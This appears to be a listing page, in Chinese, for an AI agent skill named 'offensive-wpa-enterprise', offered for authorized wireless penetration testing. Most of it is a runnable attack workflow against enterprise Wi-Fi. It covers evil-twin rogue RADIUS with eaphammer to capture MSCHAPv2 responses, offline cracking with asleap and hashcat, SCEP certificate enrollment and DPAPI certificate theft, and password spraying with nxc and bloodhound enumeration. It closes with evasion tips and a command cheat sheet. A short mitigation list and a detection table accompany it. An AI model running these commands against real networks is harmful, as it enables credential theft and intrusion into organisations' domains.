关于 offensive-wpa-enterprise
面向无线渗透测试人员的 WPA-Enterprise(802.1X / EAP)攻击技能指南,介绍 EAP 识别、配置缺陷评估及凭据捕获路径。内容也涵盖 EAP-TLS 证书相关风险与检测线索。
主要功能
- 01识别无线网络的 EAP 方法
- 02评估恶意双生 RADIUS 风险
- 03捕获并离线破解 MSCHAPv2 响应
- 04检查证书与 SCEP 配置风险
- 05梳理检测信号及后续验证
适用场景
- 01审计企业 Wi-Fi 的证书验证配置
- 02在授权测试中评估 PEAP 或 TTLS 网络
- 03检查 EAP-TLS 证书存储和签发路径
- 04记录凭据攻击的检测线索
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-wpa-enterprise安装后在 Claude Code 中输入/offensive-wpa-enterprise确认已加载。
详细介绍
WPA-Enterprise(802.1X / EAP)攻击
企业 Wi-Fi 将身份验证委托给 RADIUS 服务器——通常由 AD 提供支持。这里没有 PSK。攻击目标是客户端对服务器证书的信任、内部 EAP 方法的加密,或证书签发流程。
快速工作流
- 根据信标和初始 EAP-Request/Identity 识别 EAP 方法
- 如果基于 MSCHAPv2(PEAP、TTLS):运行恶意 RADIUS 服务器以捕获质询-响应
- 如果是 EAP-TLS:从带外攻击证书签发/证书存储流程
- 离线破解捕获的 MSCHAPv2 → 获取 AD 用户名和密码
- 转向域内攻击(参见
offensive-active-directory和offensive-network)
EAP 方法识别
# Watch 802.1X exchange in monitor mode
sudo tshark -i wlan0mon -Y "eapol || eap" -V
# Or capture and analyze
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID> -w eap_capture
# When client associates, read the EAP-Request/Identity and Type fields
wireshark eap_capture-01.cap
| EAP 类型 | 标识符 | 常见内部方法 |
|---|---|---|
| 13 | EAP-TLS | 客户端 + 服务器证书 |
| 17 | LEAP | (旧版,安全性弱) |
| 21 | EAP-TTLS | MSCHAPv2 / PAP / CHAP / GTC |
| 25 | PEAP | MSCHAPv2(PEAPv0/MS)/ GTC(PEAPv0/Cisco) |
| 43 | EAP-FAST | MSCHAPv2(由 PAC 保护) |
| 47 | EAP-PWD | (Dragonblood 类研究目标) |
Evil-Twin RADIUS(PEAP-MSCHAPv2 / TTLS-MSCHAPv2)
针对企业 Wi-Fi 最常见的攻击路径。
# eaphammer — automated rogue AP + RADIUS
eaphammer --cert-wizard # generate self-signed cert (first run)
eaphammer -i wlan0 \
--essid CorpWiFi \
--bssid AA:BB:CC:DD:EE:FF \
--auth wpa-eap \
--creds
客户端关联时,eaphammer 会记录:
[*] User: corp.local\jdoe
[*] Challenge: 1122334455667788
[*] Response: aabbccdd...
离线破解:
# asleap — designed for MSCHAPv2 challenge/response
asleap -C 1122334455667788 -R aabbccdd... -W rockyou.txt
# Or hashcat mode 5500 (NetNTLMv1 / MSCHAPv2)
hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule
捕获的响应等同于 NetNTLMv1——将其提交给彩虹表服务(crack.sh),以适中的成本即可保证破解成功。
Evil-Twin 为何有效
MSCHAPv2 内部交换在客户端与(真实或伪造的)RADIUS 服务器之间的 TLS 隧道中加密。如果客户端不验证以下内容:
- RADIUS 服务器证书的 CA 链(大多数 BYOD 配置都如此)
- RADIUS 服务器证书的 CN / SAN(即使验证了 CA,通常也不会强制验证)
那么自签名证书就会被接受,客户端会与攻击者建立隧道,并在其中进行 MSCHAPv2 交换。
防御者应采取的缓解措施:
- 推送要求验证服务器证书的 GPO
- 明确固定受信任的 CA 和 RADIUS 服务器 CN
- 对于 BYOD,通过 SCEP/Intune 注册并锁定客户端设置
绕过客户端验证
Windows
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy Objects\...
查看已部署的无线网络配置文件 XML。关键字段:
<ServerValidation>
<DisableUserPromptForServerValidation>true</DisableUserPromptForServerValidation>
<ServerNames>radius.corp.local</ServerNames>
<TrustedRootCA>...thumbprint...</TrustedRootCA>
</ServerValidation>
如果缺少 ServerNames 或其值为通配符,evil-twin 就会成功。
iOS / macOS / Android(BYOD)
手动输入时,用户通常会在首次看到证书提示时点击“信任”,即使面对的是 evil twin 也一样。之后,客户端会根据哈希信任攻击者证书。许多 BYOD 网络依赖用户接受证书,却不控制信任锚。
EAP-TLS 攻击目标
EAP-TLS 使用客户端证书而非密码——无法从网络流量中破解任何内容。攻击向量:
从用户配置文件窃取证书
- Windows 上的 DPAPI 主密钥 + 证书 blob
%APPDATA%\Microsoft\SystemCertificates\My\Certificates\- 使用 DPAPI 主密钥解密(需要用户登录上下文或主密钥)
- macOS Keychain(登录钥匙串)——需要本地用户访问权限
- Android KeyStore——需要 root + Frida 钩子(参见
offensive-mobile) - iOS——具有相应访问组授权的 Keychain 项目
NDES / SCEP 配置错误
如果网络使用 SCEP 进行证书配置:
# Discover NDES endpoint (often /certsrv/mscep/mscep.dll)
curl -I http://ndes.corp.local/certsrv/mscep/mscep.dll
# Enroll with stolen / weak challenge password
sscep enroll -c ca.crt -k client.key -r request.csr \
-u http://ndes.corp.local/certsrv/mscep/mscep.dll \
-l client.crt -E 3des -S sha1
具有宽松 ACL 的 AD CS 自动注册
对客户端身份验证模板具有 Enroll 权限的域用户可以签发自己的证书。ESC1 类攻击请参见 offensive-active-directory。
EAP-GTC
如果提供 GTC(较少见,通常出现在 Cisco 环境中),内部交换内容为明文。evil-twin 一旦成功,就能直接捕获密码,无需离线破解。eaphammer 捕获 GTC 的方式与 MSCHAPv2 相同。
破解后的横向转移
破解 MSCHAPv2 后会获得 corp.local\jdoe : Password123!。接下来:
# Validate against AD
nxc smb dc.corp.local -u jdoe -p 'Password123!' -d corp.local
# Spray against other systems
nxc smb 10.0.0.0/24 -u jdoe -p 'Password123!' -d corp.local
# Initial AD enum
bloodhound-python -d corp.local -u jdoe -p 'Password123!' -ns dc.corp.local -c All
后续交由 AD 攻击链处理(offensive-active-directory、offensive-network)。
检测注意事项
| 信号 | 防御方视角 |
|---|---|
| 恶意 RADIUS 服务的 ESSID | WIPS 规则:通过 ESSID/BSSID 差异检测 AP 冒充 |
| MSCHAPv2 认证反复失败 | RADIUS 日志:来自单个 supplicant 的认证失败次数增加 |
| 证书不匹配导致的失败 | 现代 Windows 终端会将日志记录到事件查看器(Wi-Fi 11005) |
| 用户投诉 | 用户可能会报告“奇怪的 Wi-Fi 提示”——但大多数人不会 |
为尽量降低风险:让 BSSID 与合法 AP 完全一致(伪造 MAC);如果能获取到 CA 签名证书,就使用与真实 RADIUS CN 相似的证书;选择已知的网络中断时段(午餐时间/一天开始时)发动攻击,以融入正常的重新连接行为。
行动速查表
# 1. Identify EAP method
sudo tshark -i wlan0mon -Y "eap" -V | grep -E "(Type:|Identity)"
# 2. Run eaphammer evil twin
eaphammer --cert-wizard
eaphammer -i wlan0 --essid <CorpWiFi> --bssid <BSSID> --auth wpa-eap --creds
# 3. As clients connect, capture MSCHAPv2 challenges
# Watch eaphammer console for User/Challenge/Response
# 4. Crack offline
hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule
# Or asleap -C <chal> -R <resp> -W wordlist
# 5. Validate creds against domain
nxc smb <dc> -u <user> -p <pass> -d <domain>
# 6. Hand off to AD chain
主要参考资料
- eaphammer: github.com/s0lst1c3/eaphammer
- asleap: willhackforsushi.com/asleap
- crack.sh — NetNTLMv1(MSCHAPv2)彩虹表服务
- RFC 3748(EAP)、RFC 5216(EAP-TLS)、RFC 7170(EAP-TEAP)
- 来源:https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md